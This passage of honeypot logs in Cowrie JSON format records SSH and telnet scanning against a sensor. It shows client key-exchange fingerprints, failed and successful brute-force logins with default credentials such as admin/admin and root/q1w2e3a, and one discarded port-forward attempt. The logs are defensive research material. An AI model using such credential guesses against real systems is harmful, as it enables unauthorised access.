,"diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:14.390450Z","src_ip":"176.53.159.196","session":"165c52bda546","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:14.692776Z","src_ip":"176.53.159.196","session":"165c52bda546","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:14.795017Z","session":"165c52bda546","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:14.900233Z","src_ip":"176.53.159.196","session":"165c52bda546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:15.002613Z","src_ip":"176.53.159.196","session":"165c52bda546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":33690,"dst_ip":"10.17.0.5","dst_port":22,"session":"749a8bba19d2","protocol":"ssh","message":"New connection: 91.92.40.176:33690 (10.17.0.5:22) [session: 749a8bba19d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:37.585568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:37.589225Z","src_ip":"91.92.40.176","session":"749a8bba19d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:37.669774Z","src_ip":"91.92.40.176","session":"749a8bba19d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi123","message":"login attempt [pi/pi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:37.917779Z","src_ip":"91.92.40.176","session":"749a8bba19d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:39.000856Z","src_ip":"91.92.40.176","session":"749a8bba19d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":56632,"dst_ip":"10.17.0.5","dst_port":22,"session":"21ee22499a04","protocol":"ssh","message":"New connection: 193.37.70.224:56632 (10.17.0.5:22) [session: 21ee22499a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:46.333476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:46.337224Z","src_ip":"193.37.70.224","session":"21ee22499a04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:46.428559Z","src_ip":"193.37.70.224","session":"21ee22499a04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01101980","message":"login attempt [root/01101980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:46.706523Z","src_ip":"193.37.70.224","session":"21ee22499a04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:47.800591Z","src_ip":"193.37.70.224","session":"21ee22499a04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":47552,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9117eaffc08","protocol":"ssh","message":"New connection: 147.45.211.215:47552 (159.203.135.109:22) [session: e9117eaffc08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:49.382099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:49.385139Z","src_ip":"147.45.211.215","session":"e9117eaffc08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:49.547199Z","src_ip":"147.45.211.215","session":"e9117eaffc08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3a","message":"login attempt [root/q1w2e3a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:50.032747Z","src_ip":"147.45.211.215","session":"e9117eaffc08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:51.199799Z","src_ip":"147.45.211.215","session":"e9117eaffc08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":54796,"dst_ip":"10.17.0.5","dst_port":22,"session":"a968e5ceab59","protocol":"ssh","message":"New connection: 91.92.40.10:54796 (10.17.0.5:22) [session: a968e5ceab59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:56.950217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:57.274790Z","src_ip":"91.92.40.10","session":"a968e5ceab59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:57.348566Z","src_ip":"91.92.40.10","session":"a968e5ceab59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:58.606956Z","src_ip":"91.92.40.10","session":"a968e5ceab59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:59.776309Z","src_ip":"91.92.40.10","session":"a968e5ceab59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":49930,"dst_ip":"159.203.135.109","dst_port":22,"session":"c36482fdf9f2","protocol":"ssh","message":"New connection: 162.214.159.200:49930 (159.203.135.109:22) [session: c36482fdf9f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:43:10.761847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:43:10.766492Z","src_ip":"162.214.159.200","session":"c36482fdf9f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:43:10.850700Z","src_ip":"162.214.159.200","session":"c36482fdf9f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1g0$S3cur3#P@ss","message":"login attempt [root/A1g0$S3cur3#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:43:11.101620Z","src_ip":"162.214.159.200","session":"c36482fdf9f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:43:12.474758Z","src_ip":"162.214.159.200","session":"c36482fdf9f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33914,"dst_ip":"159.203.135.109","dst_port":23,"session":"88ecc82fdb1a","protocol":"telnet","message":"New connection: 170.64.224.25:33914 (159.203.135.109:23) [session: 88ecc82fdb1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:43:35.216974Z"}
{"eventid":"cowrie.session.closed","duration":42.834827184677124,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:44:18.051658Z","src_ip":"170.64.224.25","session":"88ecc82fdb1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":42270,"dst_ip":"10.17.0.5","dst_port":22,"session":"61aee066ec04","protocol":"ssh","message":"New connection: 91.92.40.10:42270 (10.17.0.5:22) [session: 61aee066ec04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:44:31.322542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:44:31.442430Z","src_ip":"91.92.40.10","session":"61aee066ec04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:44:31.445205Z","src_ip":"91.92.40.10","session":"61aee066ec04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345","message":"login attempt [admin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:44:32.430179Z","src_ip":"91.92.40.10","session":"61aee066ec04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:44:33.619770Z","src_ip":"91.92.40.10","session":"61aee066ec04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":50144,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e234084cce6","protocol":"telnet","message":"New connection: 137.184.5.188:50144 (159.203.135.109:23) [session: 5e234084cce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:06.019423Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43992,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4570307340c","protocol":"telnet","message":"New connection: 170.64.224.25:43992 (159.203.135.109:23) [session: e4570307340c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:38.255572Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.31.53.170","src_port":59116,"dst_ip":"10.17.0.5","dst_port":22,"session":"c306e65cf740","protocol":"ssh","message":"New connection: 64.31.53.170:59116 (10.17.0.5:22) [session: c306e65cf740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:46.847031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:46.851378Z","src_ip":"64.31.53.170","session":"c306e65cf740","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:45:46.860341Z","src_ip":"64.31.53.170","session":"c306e65cf740","protocol":"ssh"}
